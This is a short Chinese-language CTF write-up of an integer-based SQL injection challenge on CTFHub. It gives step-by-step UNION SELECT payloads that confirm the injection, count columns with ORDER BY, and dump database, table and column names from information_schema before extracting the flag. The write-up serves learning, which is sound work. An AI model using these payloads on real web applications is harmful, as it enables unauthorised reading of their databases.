前言:前几天(很久以前)在ctfhub上做了一道整形注入的题。
什么是整形注入呐。点这!
直接入题!!!
1.先判断是否存在注入。
payload:
?id=1 and 1=1
看到这里的正常回显。
然后
?id=1 and 1=2
回显错误。可以判断出是整形。
2.判断列数。
order by语句。
?id=1 order by 1
1 2 3…直到出现报错。
可以判断出只有两列。
3.爆数据库名。
payload:
?id=1 and 1=2 union select 1,database()
直接出来了!
3.爆表名。
payload:
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
出来了两个表。看到了flag的曙光。
4.爆字段。
payload:
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
5.爆值。
payload:
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
这样就拿到了flag?就这?自己的注入还是太菜,还需要加强。